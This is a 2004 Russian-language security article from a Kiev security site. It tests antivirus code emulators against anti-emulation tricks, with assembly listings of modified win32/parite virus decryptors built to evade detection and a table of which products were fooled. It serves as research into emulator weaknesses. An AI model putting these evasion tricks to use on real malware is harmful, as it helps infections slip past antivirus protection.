реклама
ЭКСПЕРТИЗА САЙТОВ НА СЛИВ ИНФОРМАЦИИ

ВОССТАНОВЛЕНИЕ ИНФОРМАЦИИ С РАЗЛИЧНЫХ НАКОПИТЕЛЕЙ В КИЕВЕ
уход за растениями - озеленение - фитодизайн
реклама

proxy  статьи  библиотека  softice  free_юр.консультация  hard  iptv
рекламодателям  фирмы/add  расшифровка штрих-кодов  links/add

http://kiev-security.org.ua

Содержание

Уязвимости эмуляторов кода

Содержание

1. Вступление
2. Несколько слов о процедурах эмуляции кода
3. Шах и мат в две инструкции 
4. История с продолжением
5. Старые песни о главном
6. Против лома нет приема ...
7. Заключение

 1. Вступление

  Генераторы полиморфных шифровщиков/расшифровщиков очень часто используются для защиты исполняемых файлов (полностью либо частично) и во многих компьютерных вирусах. Для того, что бы усложнить процесс создания утилит, предназначенных для автоматического снятия защит такого рода, и обнаружения вирусов используются различные алгоритмы, называемые анти-эмуляционными трюками. Этим алгоритмам и будет посвящена данная статья.

  Тестирование трюков будет производиться на антивирусных программах, которые, бесспорно, содержат самые совершенные реализации эмуляторов кода. Таким образом, мы оценим качество эмуляторов следующих антивирусов:

  1. Panda AntiVirus Titanium 2004
  2. Norton Antivirus 2004
  3. Stop! Scanner 5.0
  4. Dr. Web 4.30a
  5. Kaspersky Anti-virus (AVP) v3.5.133.0

 2. Несколько слов о процедурах эмуляции кода

  В том случае, если алгоритм расшифровки данных присутствует в файле, единственным способом автоматической расшифровки является эмуляция. Процесс эмуляции может быть выполнен двумя способами:

  1. Трассировка программы, т.е. ее загрузка в память и исполнение путем использования отладочного прерывания.
  2. Кусок кода "нуждающийся в эмуляции" читается в буфер, разбирается на инструкции и с помощью различных трюков имитируется исполнение инструкций кода.

  Первый способ в "чистом виде" использовать достаточно опасно, к тому же процесс трассировки обнаружить и "обломать" не составляет особого труда. Если использовать второй способ, то процесс эмуляции программы будет занимать достаточно большой промежуток времени и разработка стабильно работающей версии займет "века". Именно по этому используют комбинацию двух вышеописанных способов.

  Конечно же, есть "вещи" имитацию которых реализовать достаточно тяжело (почти невозможно). Имея небольшой опыт в разработке эмуляторов кода, я могу предположить, какие области являются наиболее сложными и могут быть реализованы с ошибками или вообще не реализованы. Но чтобы знать наверняка, проверим предположения на практике.

 3. Шах и мат в две инструкции

  Перед процессом эмуляции, исследуемая программа читается в буфер, и для "опасных" (подозрительных) участков кода эмулятор производит полную имитацию выполнения, "безопасные" же инструкции или участки кода запускаются "напрямую". Все это означает, что местоположение эмулируемой программы в памяти изменяется. Таким образом, можно попытаться запутать эмулятор, если определить текущее местоположение и:

  1. сравнить с тем, которое должно быть
  2. использовать полученное смещение для расчета одного из параметров, участвующих в расшифровке (ключ, размер зашифрованных данных и т.д.)

  Если Вы решили использовать первый вариант, в случае не совпадения положения кода, можно направить эмулятор по "ложному следу". Но такой конструкции (алгоритма вычисления смещения и сравнения его с оригинальным) будет достаточно, чтобы считать ее сигнатурой свойственной данному типу расшифровщика. Таким образом, анализатор кода, использующийся в эмуляторе обнаружит эту конструкцию и использует специальный прием для "правильной" эмуляции участка.

  Второй вариант можно рассмотреть подробнее и проще будет сделать это "на практике". Так как писать специальную утилиту для тестов мне лень, понадобится следующее:

  1. отладчик и шестнадцатеричный редактор.
  2. программа, зараженная полиморфным вирусом win32/parite (штамм b).

  Загрузим инфицированный файл в отладчик и рассмотрим процедуру расшифровки вирусного кода:

0040E000 start:          nop
0040E001                 push    3786Fh              ; ecx - ключ необходимый для расшифровки
0040E006                 pop     ecx
0040E007                 nop
0040E008                 nop
0040E009                 mov     esi, offset crypted_code-4
0040E00E                 nop
0040E00F                 mov     edx, 598h
0040E014                 nop
0040E015 decrypt_loop:   push    dword ptr [edx+esi]
0040E018                 xor     [esp], ecx
0040E01B                 pop     dword ptr [edx+esi]
0040E01E                 nop
0040E01F                 sub     edx, 2
0040E022                 sub     edx, 2
0040E025                 nop
0040E026                 jnz     short decrypt_loop
0040E028 crypted_code:

  После небольших изменений, расшифровщик вирусного кода будет выглядеть следующим образом:

0040E000 start:          call    $+5
0040E005                 pop     ecx                      ; ecx = 40E005h
0040E006                 sub     ecx, 3D6796h             ; 40E005h - 3D6796h = 3786F
0040E00C                 mov     esi, offset crypted_code-4
0040E011                 mov     edx, 598h
0040E016 decrypt_loop:   push    dword ptr [edx+esi]
0040E019                 xor     [esp], ecx
0040E01C                 pop     dword ptr [edx+esi]
0040E01F                 sub     edx, 2
0040E022                 sub     edx, 2
0040E025                 nop
0040E026                 jnz     short decrypt_loop
0040E028 crypted_code:

  Я думаю, суть изменений Вам понятна, ну а если нет, то я немного поясню.
  Для расчета ключа (в данном случае он содержится в регистре ECX) будет использоваться текущее местоположение кода в памяти. В том случае, если оно будет отличаться от оригинала, вирусный код будет расшифрован неправильно и антивирус не обнаружит сигнатуру свойственную данному или любому другому вирусу.

  Но в том случае, если анализатор кода не обнаружит наличие конкретного вируса, в дело вступает эвристический анализатор. Если будут обнаружены особенности строения, свойственные исполняемым файлам, зараженным вирусами (например, если точка входа находится в последней секции и секция имеет атрибуты, позволяющие "запись"), эвристический анализатор может выдать подозрение о наличии в файле Win32 - вируса. Но это нас не должно волновать, мы же тестируем эмуляторы.

  Проведенное тестирование показало, что обмануть не получается только эмуляторы антивирусов Doctor Web и NAV, остальные молчат как партизаны.

 4. История с продолжением

  Ходит слух, что начальное значение регистра EAX, при загрузке всех win32 программ одинаковое. Этим значением является местоположение точки входа, в памяти. Я не проверял достоверность этой информации во всех версиях Windows, так что утверждать со 100% гарантией, насчет правдивости данной информации не могу. Но, так же, я не встречался со случаями, когда данное утверждение было неверным.

  Видоизменим расшифровщик вирусного кода, чтобы он принял следующий вид:

0040E000 start:          sub     eax, 3D6791h      ; 40E000 - 3D6791 = 3786F
0040E006                 mov     ecx, eax
0040E008                 nop
0040E009                 nop
0040E00A                 nop
0040E00B                 nop
0040E00C                 mov     esi, crypted_code-4
0040E011                 mov     edx, 598h
0040E016 decrypt_loop:   push    dword ptr [edx+esi]
0040E019                 xor     [esp], ecx
0040E01C                 pop     dword ptr [edx+esi]
0040E01F                 sub     edx, 2
0040E022                 sub     edx, 2
0040E025                 nop
0040E026                 jnz     short decrypt_loop
0040E028 crypted_code:

  Проведенный тест показал, что антивирусы, которые не попались на предыдущий трюк, вышли "сухими из воды" и на этот раз. Так же не удалось обмануть и "народный антивирус" - AVP. Это говорит о том, что перед процессом эмуляции win32 программ, все антивирусные программы устанавливают значение регистра EAX, равным точке входа в программу, но из других источников так же известно, что :

  " В EAX должен быть ноль, как результат вызова ntdll.NtSetInformationThread, после которого сразу вызывается точка входа модуля. "

  Получается, что антивирусы неправильно эмулируют выполнение win32 программ? ;)

 5. Старые песни о главном

  В далеком 2000 году, программистом, известным мировой общественности под псевдонимом Z0MBiE, была написана очень интересная статья, посвященная корректности "работы" эмуляторов, антивирусных программ Doctor Web и AVP с инструкциями div8/16/32, idiv8/16/32.

  В результате проведенного дизассемблирования, процедур эмуляторов, отвечающих за имитацию выполнения этих инструкций (прокомментированные листинги так же были приведены в этой статье), было доказано, что эмуляция инструкции idiv32 (8/16/32) происходит неправильно в обеих программах.

  С момента публикации данной статьи прошло уже 4 года, но так как она не попала в широкую общественность, я решил проверить, исправили ли авторы данных программ ошибки, а за одно и посмотреть, как с процессом эмуляции данной инструкции справляются другие антивирусы.
  Для тестирования была выбрана инструкция idiv32.
  Если в процедуре имитации выполнения данной инструкции присутствует ошибка, то в зависимости от значений параметров (делимого и делителя), могут возникнуть следующие ситуации :

  1. Будет неправильно подсчитан результат (частное и остаток от деления).
  2. Неправильная проверка параметров, приведет к ошибке переполнения или деления на ноль.

  Для того, чтобы рассмотреть реакцию эмуляторов на различные значения параметров, была написана небольшая утилита (исходный текст доступен в примерах), которая создает файлы инфицированные win32/parite, с расшифровщиками вида :


; в нашем случае:
;                    ( 599h ) <= X <= ((0FFFFFFFFh - 598h) / 3786Fh )
; (( 3786Fh * 599h ) + 598h ) <= Y <= ( 0FFFFFFFFh )
;  
0040E000 start:          sub     edx, edx
0040E002                 mov     eax, Y          ; Y = ( 3786Fh * X ) + 598h
0040E007                 mov     ecx, X
0040E00C                 idiv    ecx             ; edx - остаток = 598h
0040E00E                 xchg    eax, ecx        ; eax <-> ecx
0040E00F                 nop
0040E010                 mov     esi, offset crypted_code-4
0040E015 decrypt_loop:   push    dword ptr [edx+esi]
0040E018                 xor     [esp], ecx
0040E01B                 pop     dword ptr [edx+esi]
0040E01E                 nop
0040E01F                 sub     edx, 2
0040E022                 sub     edx, 2
0040E025                 nop
0040E026                 jnz     short decrypt_loop
0040E028 crypted_code:

  Тест показал, что:

  1. Антивирусы NAV и Doctor Web определяют наличие вируса в файлах, вне зависимости от значений параметров инструкции idiv32.
  2. Panda Antivirus и Stop! молчат как партизаны. Скорее всего, в этих антивирусах отсутствуют процедуры эмуляции данной инструкции или они реализованы с большим количеством ошибок.
  3. AVP правильно имитирует выполнение инструкции, в том случае, если делимое меньше 80000000h. С момента выхода статьи Z0MBiE прошло 4 года, но ошибка, так и не была исправлена, несмотря на то, что он привел в статье правильный алгоритм, который можно было просто скопировать.

 6. Против лома нет приема ...

  Операционная система Windows произвела взаимовыгодный обмен прерываний (которые в Dos'е очень активно использовались, для обмана всех и вся) на функции API (Application Programming Interface).

  Допустим, что мы используем генератор полиморфных (раc) шифровщиков для защиты исполняемых файлов. Каждый из "защищаемых" файлов импортирует функции API из различных библиотек, а вся информация об импорте, содержится в исполняемом файле.
  Для формирования вызова функции, необходимо знать:

  1. Смещение, по которому (при загрузке программы) будет находиться реальный адрес функции в памяти.
  2. Количество параметров использующихся при вызове функции API.

  Как Вы знаете, каждая из функций API, требует различных параметров для работы, которые должны быть загружены в стек. Помимо параметров, непосредственно используемых той или иной функцией, есть параметр, указывающий смещение, на которое будет передано управление после вызова функции. Об этом параметре мало кто знает, потому что компиляторы генерируют вызовы функций следующим образом:

               ...
call _GetTickCount
continue:     ...
;
; Смещение "xxxxxxxxh" указывает, на dword, который при загрузке программы
; в память, будет содержать точку входа в функцию GetTickCount
;
_GetTickCount: jmp   dword ptr [xxxxxxxxh]
 Инструкция CALL заносит в стек смещение (в данном случае "continue") следующей инструкции, ну а затем JMP вызывает функцию (GetTickCount). Вызванный сервис использует необходимое количество параметров из стека, для выполнения своего назначения и предает управление на смещение, которое было загружено инструкцией CALL, в качестве последнего параметра.
  Пример вызова функций в полиморфном расшифровщике:


;
; пусть осуществляется обращение к функции использующей один параметр, например CloseHandle.
; ereg/value - любой 32-х битный регистр или значение.
;
; по смещению "xxxxxxxxh" расположено местоположение вызываемой функции API в памяти.
;
... процесс расшифровки кода ...
push  ereg/value
push  offset continue
jmp   dword ptr [xxxxxxxxh]               
...                                ; мусорные инструкции
ret                                ; прощай эмулятор
...
continue: ... продолжение процесса расшифровки ...

  Мы загрузили необходимое количество параметров (в данном случае 1), необходимых для работы функции и смещение, на которое будет передано управление. Результат работы вызванной функции CloseHandle нас не интересует вообще (следовательно и состояние параметров, кроме смещения, необходимого для возврата), главное, что в любом случае, после выполнения функции переход будет осуществлен к метке continue. "Под эмулятором", переход произойдет только при выполнении инструкции ret.
  Главное не использовать генерацию вызовов API функций, пишущих информацию по смещениям, указанных в параметрах.

  Теперь готовимся к тестированию на "живце". Для вставки простейшей реализации трюка в расшифровщик нам понадобятся:

  1. Утилита, генерирующая отчет о структуре секций импорта файлов формата PortableExecutables.
  2. Win32 programmer's reference - информация о функциях: описание действия, параметров и их количества.

  В списке импортируемых функций зараженной программы, значится GetCommandLineA. Это не может не радовать, так как эта функция не нуждается в параметрах, а в нашем случае (когда свободного места в расшифровщике мало) это очень важно. Кроме того, она не выполняет никаких "вредных" действий.
  При загрузке программы, информация о положении этого сервиса будет расположена по смещению 400000h (Image Base) + 630Eh.
  Перед вставкой вызова функции GetCommandLineA, была изменена структура расшифровщика и произведена некоторая оптимизация.

0040E000                 push    offset decrypt_start
0040E005                 jmp     dword ptr [4063E0h]
0040E00B                 retn                             ; прощайте эмуляторы
0040E00C decrypt_start:  mov     esi, offset crypted_code-4
0040E011                 mov     edx, 598h
0040E016 decrypt_loop:   push    dword ptr [edx+esi]
0040E019                 xor     dword ptr [esp], 3786Fh
0040E020                 pop     dword ptr [edx+esi]
0040E023                 sub     edx, 4
0040E026                 jnz     short decrypt_loop
0040E028 crypted_code:

  Как я и ожидал, ни один из антивирусов не определил наличие вируса win32/parite в зараженных файлах, измененных таким образом.

 7. Заключение

  Настало время подвести итоги тестирования:

delta value

начальное значение eax

idiv32

вызов функций API

оценка

Doctor Web 4.30a + + + - 3
Norton Antivirus 2004 + + + - 3
Kaspersky Anti-virus (AVP) v3.5.133.0 - + + / - - 1+
Stop! Scanner 5.0 - - - - 0
Panda Antivirus Titanium 2004 - - - - 0
2004

Содержание

HOME


Если у вас есть сайт или домашняя страничка - поддержите пожайлуста наш ресурс, поставьте себе кнопочку, скопировав этот код:

<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a>

Идея проекта(C)Anton Morozov, Kiev, Ukraine, 1999-2022,